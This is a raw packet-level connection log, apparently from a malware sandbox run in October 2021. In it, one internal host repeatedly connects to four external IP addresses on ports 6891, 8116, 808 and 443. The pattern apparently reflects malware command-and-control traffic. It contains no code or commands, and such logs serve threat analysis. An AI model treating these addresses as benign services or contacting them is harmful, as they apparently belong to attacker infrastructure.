Oct 28, 2021 05:00:41.025651932 CEST	443	50151	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:41.025823116 CEST	50151	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:41.025830984 CEST	443	50151	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:41.248161077 CEST	6891	50150	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:41.248169899 CEST	6891	50150	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:41.248332024 CEST	50150	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:41.255222082 CEST	50150	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:41.379321098 CEST	50152	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:41.421073914 CEST	6891	50150	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:41.431274891 CEST	8116	50152	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:41.431447983 CEST	50152	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:41.432154894 CEST	50152	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:41.484096050 CEST	8116	50152	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:41.484342098 CEST	8116	50152	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:41.484405994 CEST	50152	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:41.484977007 CEST	50152	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:41.488878012 CEST	50152	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:41.488981009 CEST	50152	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:41.540747881 CEST	8116	50152	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:41.713542938 CEST	443	50151	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:41.713619947 CEST	443	50151	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:41.713777065 CEST	50151	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:41.717145920 CEST	50151	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:41.717183113 CEST	443	50151	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:41.723987103 CEST	8116	50152	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:41.724019051 CEST	8116	50152	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:41.724175930 CEST	50152	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:41.731578112 CEST	50152	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:41.783637047 CEST	8116	50152	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:41.828011036 CEST	50153	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:41.847194910 CEST	50154	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:41.847243071 CEST	443	50154	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:41.847362995 CEST	50154	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:41.848263979 CEST	50154	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:41.848285913 CEST	443	50154	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:41.995368958 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:41.995533943 CEST	50153	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:41.996335030 CEST	50153	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:42.163543940 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:42.163639069 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:42.163763046 CEST	50153	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:42.164377928 CEST	50153	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:42.171183109 CEST	50153	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:42.171422958 CEST	50153	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:42.331733942 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:42.338519096 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:42.340976954 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:42.341006994 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:42.341022968 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:42.374486923 CEST	443	50154	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:42.374670029 CEST	50154	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:42.375303030 CEST	50154	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:42.375317097 CEST	443	50154	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:42.379621983 CEST	50154	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:42.379643917 CEST	443	50154	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:42.379746914 CEST	50154	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:42.379759073 CEST	443	50154	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:42.717056036 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:42.717088938 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:42.717277050 CEST	50153	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:42.717339993 CEST	50153	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:42.722100019 CEST	50153	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:42.845940113 CEST	50155	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:42.889534950 CEST	808	50153	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:43.011459112 CEST	6891	50155	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:43.011818886 CEST	50155	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:43.013495922 CEST	50155	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:43.091104031 CEST	443	50154	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:43.091178894 CEST	443	50154	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:43.091279984 CEST	50154	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:43.091312885 CEST	50154	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:43.097229004 CEST	50154	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:43.097268105 CEST	443	50154	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:43.178777933 CEST	6891	50155	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:43.178889990 CEST	6891	50155	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:43.178966999 CEST	50155	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:43.179410934 CEST	50155	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:43.182219982 CEST	50155	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:43.182363033 CEST	50155	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:43.227097034 CEST	50156	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:43.347601891 CEST	6891	50155	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:43.347625971 CEST	6891	50155	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:43.386322021 CEST	6891	50155	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:43.388542891 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:43.388756990 CEST	50156	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:43.389911890 CEST	50156	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:43.551297903 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:43.551342964 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:43.551434040 CEST	50156	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:43.552162886 CEST	50156	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:43.559354067 CEST	50156	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:43.559461117 CEST	50156	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:43.713715076 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:43.720972061 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:43.720992088 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:43.721005917 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:43.721019030 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:43.733741999 CEST	6891	50155	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:43.733764887 CEST	6891	50155	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:43.733850956 CEST	50155	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:43.736080885 CEST	50155	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:43.843147993 CEST	50157	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:43.895502090 CEST	8116	50157	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:43.895683050 CEST	50157	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:43.896466970 CEST	50157	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:43.901360035 CEST	6891	50155	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:43.949265003 CEST	8116	50157	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:43.949361086 CEST	8116	50157	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:43.949659109 CEST	50157	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:43.951291084 CEST	50157	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:43.957946062 CEST	50157	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:43.958309889 CEST	50157	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:44.010010004 CEST	8116	50157	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:44.010261059 CEST	8116	50157	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:44.110290051 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:44.110318899 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:44.110596895 CEST	50156	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:44.123616934 CEST	50156	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:44.179513931 CEST	8116	50157	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:44.179538012 CEST	8116	50157	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:44.179804087 CEST	50157	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:44.195226908 CEST	50157	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:44.247365952 CEST	8116	50157	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:44.257735968 CEST	50158	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:44.285044909 CEST	808	50156	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:44.314208984 CEST	50159	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:44.314259052 CEST	443	50159	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:44.314372063 CEST	50159	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:44.315324068 CEST	50159	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:44.315340042 CEST	443	50159	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:44.423120975 CEST	6891	50158	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:44.423337936 CEST	50158	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:44.424717903 CEST	50158	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:44.590051889 CEST	6891	50158	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:44.590153933 CEST	6891	50158	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:44.590486050 CEST	50158	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:44.591078043 CEST	50158	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:44.593941927 CEST	50158	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:44.594062090 CEST	50158	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:44.759294987 CEST	6891	50158	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:44.759391069 CEST	6891	50158	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:44.798614979 CEST	6891	50158	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:44.831199884 CEST	443	50159	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:44.831399918 CEST	50159	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:44.832576990 CEST	50159	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:44.832587004 CEST	443	50159	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:44.837716103 CEST	50159	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:44.837734938 CEST	443	50159	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:44.837888002 CEST	50159	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:44.837899923 CEST	443	50159	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:45.142811060 CEST	6891	50158	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:45.142837048 CEST	6891	50158	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:45.143012047 CEST	50158	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:45.143044949 CEST	50158	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:45.148175001 CEST	50158	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:45.274135113 CEST	50160	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:45.313641071 CEST	6891	50158	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:45.321474075 CEST	8116	50160	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:45.321613073 CEST	50160	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:45.322312117 CEST	50160	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:45.369903088 CEST	8116	50160	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:45.370048046 CEST	8116	50160	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:45.370198965 CEST	50160	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:45.370908022 CEST	50160	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:45.375758886 CEST	50160	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:45.375891924 CEST	50160	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:45.424123049 CEST	8116	50160	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:45.424153090 CEST	8116	50160	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:45.547116995 CEST	443	50159	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:45.547190905 CEST	443	50159	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:45.547327042 CEST	50159	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:45.550451994 CEST	50159	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:45.550477028 CEST	443	50159	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:45.593276978 CEST	8116	50160	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:45.593318939 CEST	8116	50160	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:45.593857050 CEST	50160	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:45.599040985 CEST	50160	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:45.646409988 CEST	8116	50160	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:45.671130896 CEST	50161	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:45.724503040 CEST	50162	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:45.724565029 CEST	443	50162	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:45.725112915 CEST	50162	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:45.725673914 CEST	50162	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:45.725693941 CEST	443	50162	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:45.842248917 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:45.842410088 CEST	50161	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:45.843566895 CEST	50161	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:46.014309883 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:46.014497042 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:46.014631987 CEST	50161	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:46.015198946 CEST	50161	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:46.021687031 CEST	50161	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:46.021909952 CEST	50161	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:46.185961008 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:46.192569017 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:46.192616940 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:46.192630053 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:46.192641020 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:46.259111881 CEST	443	50162	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:46.259232998 CEST	50162	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:46.259825945 CEST	50162	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:46.259836912 CEST	443	50162	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:46.263833046 CEST	50162	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:46.263860941 CEST	443	50162	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:46.263952017 CEST	50162	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:46.263958931 CEST	443	50162	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:46.574934959 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:46.574965000 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:46.575021029 CEST	50161	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:46.575068951 CEST	50161	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:46.577848911 CEST	50161	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:46.687985897 CEST	50163	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:46.749617100 CEST	808	50161	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:46.853410006 CEST	6891	50163	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:46.853635073 CEST	50163	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:46.854891062 CEST	50163	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:46.971780062 CEST	443	50162	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:46.971867085 CEST	443	50162	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:46.972052097 CEST	50162	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:46.972069979 CEST	50162	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:46.981163025 CEST	50162	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:46.981203079 CEST	443	50162	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:47.020119905 CEST	6891	50163	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:47.020185947 CEST	6891	50163	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:47.020304918 CEST	50163	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:47.020814896 CEST	50163	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:47.023649931 CEST	50163	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:47.023751974 CEST	50163	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:47.099244118 CEST	50164	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:47.189038038 CEST	6891	50163	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:47.189060926 CEST	6891	50163	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:47.189069033 CEST	6891	50163	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:47.260951042 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:47.261183023 CEST	50164	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:47.261779070 CEST	50164	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:47.423393011 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:47.423564911 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:47.423655987 CEST	50164	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:47.424179077 CEST	50164	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:47.429138899 CEST	50164	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:47.429296970 CEST	50164	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:47.580513954 CEST	6891	50163	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:47.580529928 CEST	6891	50163	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:47.580776930 CEST	50163	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:47.580859900 CEST	50163	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:47.585777044 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:47.587088108 CEST	50163	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:47.590800047 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:47.590851068 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:47.590888977 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:47.590993881 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:47.703185081 CEST	50165	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:47.752365112 CEST	6891	50163	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:47.756923914 CEST	8116	50165	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:47.757103920 CEST	50165	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:47.757783890 CEST	50165	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:47.811386108 CEST	8116	50165	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:47.811522961 CEST	8116	50165	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:47.811609030 CEST	50165	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:47.812196970 CEST	50165	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:47.816004992 CEST	50165	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:47.816129923 CEST	50165	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:47.870417118 CEST	8116	50165	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:47.870445013 CEST	8116	50165	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:47.870666981 CEST	8116	50165	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:47.970616102 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:47.970644951 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:47.970727921 CEST	50164	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:47.979135036 CEST	50164	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:48.039340019 CEST	8116	50165	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:48.039369106 CEST	8116	50165	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:48.039638042 CEST	50165	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:48.039794922 CEST	50165	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:48.045306921 CEST	50165	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:48.098768950 CEST	8116	50165	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:48.102499008 CEST	50166	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:48.140974045 CEST	808	50164	143.244.140.214	192.168.2.6
Oct 28, 2021 05:00:48.155606031 CEST	50167	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:48.155644894 CEST	443	50167	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:48.155781031 CEST	50167	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:48.156181097 CEST	50167	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:48.156194925 CEST	443	50167	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:48.271085978 CEST	6891	50166	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:48.271323919 CEST	50166	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:48.287931919 CEST	50166	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:48.454338074 CEST	6891	50166	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:48.454468012 CEST	6891	50166	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:48.454585075 CEST	50166	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:48.455168009 CEST	50166	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:48.458621979 CEST	50166	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:48.458753109 CEST	50166	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:48.626787901 CEST	6891	50166	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:48.626818895 CEST	6891	50166	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:48.655318022 CEST	443	50167	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:48.655565023 CEST	50167	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:48.656168938 CEST	50167	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:48.656183004 CEST	443	50167	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:48.663431883 CEST	50167	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:48.663716078 CEST	443	50167	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:48.663743973 CEST	50167	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:48.663757086 CEST	443	50167	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:49.026392937 CEST	6891	50166	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:49.026413918 CEST	6891	50166	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:49.026509047 CEST	50166	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:49.026576996 CEST	50166	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:49.032887936 CEST	50166	6891	192.168.2.6	45.77.0.96
Oct 28, 2021 05:00:49.163669109 CEST	50168	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:49.199440956 CEST	6891	50166	45.77.0.96	192.168.2.6
Oct 28, 2021 05:00:49.216768980 CEST	8116	50168	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:49.216942072 CEST	50168	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:49.217797995 CEST	50168	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:49.270607948 CEST	8116	50168	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:49.270760059 CEST	8116	50168	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:49.270840883 CEST	50168	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:49.271325111 CEST	50168	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:49.276835918 CEST	50168	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:49.277103901 CEST	50168	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:49.330121994 CEST	8116	50168	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:49.357012987 CEST	443	50167	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:49.357076883 CEST	443	50167	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:49.357093096 CEST	50167	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:49.357122898 CEST	50167	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:49.360229969 CEST	50167	443	192.168.2.6	192.46.210.220
Oct 28, 2021 05:00:49.360248089 CEST	443	50167	192.46.210.220	192.168.2.6
Oct 28, 2021 05:00:49.516539097 CEST	50169	808	192.168.2.6	143.244.140.214
Oct 28, 2021 05:00:49.522011995 CEST	8116	50168	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:49.522036076 CEST	8116	50168	185.56.219.47	192.168.2.6
Oct 28, 2021 05:00:49.522265911 CEST	50168	8116	192.168.2.6	185.56.219.47
Oct 28, 2021 05:00:49.532766104 CEST	50168	8116	192.168.2.6	185.56.219.47
